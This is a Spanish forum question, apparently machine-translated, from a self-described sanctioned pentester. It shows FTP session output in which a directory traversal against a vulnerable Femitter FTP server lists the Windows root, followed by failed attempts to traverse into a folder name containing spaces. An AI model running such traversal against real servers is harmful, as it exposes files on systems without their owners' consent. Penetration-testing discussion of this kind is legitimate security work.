Estoy llevando a cabo un pentest sancionado en un entorno de referencia cerrado, y luché por un problema aparentemente simple, que actualmente no puedo resolver.
Al intentar ejecutar un ataque transversal del directorio contra un servidor FTP Fermitter vulnerable que se ejecuta en el sistema operativo MS Windows, es posible hacer una LISTA en la raíz del sistema (las direcciones y las listas de contenido se modifican aquí solo como referencia):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
Sin embargo, si deseo enumerar el contenido de una carpeta que contiene espacios en blanco como Documents and settings
, no puedo enumerar el contenido del directorio debido a que se ignoran los espacios en blanco.
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
Ya intenté usar diferentes clientes FTP (CLI y GUI, en Linux y Windows) e ignoran los espacios en blanco o no permiten el recorrido del directorio.
También probé la secuencia de comandos del ataque en Python usando al principio sockets sin procesar y luego ftplib para enviar los comandos en formato HEX directamente al servidor FTP, pero sin éxito.
Buscar en Google durante un par de horas no dio una solución de trabajo (sí, había muchas opciones, que no funcionaron), es por eso que hay alguien aquí, que ha tenido el mismo problema. Es bastante seguro que esta no es la primera vez que se necesita un recorrido de directorio con espacios en blanco.
\
o citando la cadena de directorio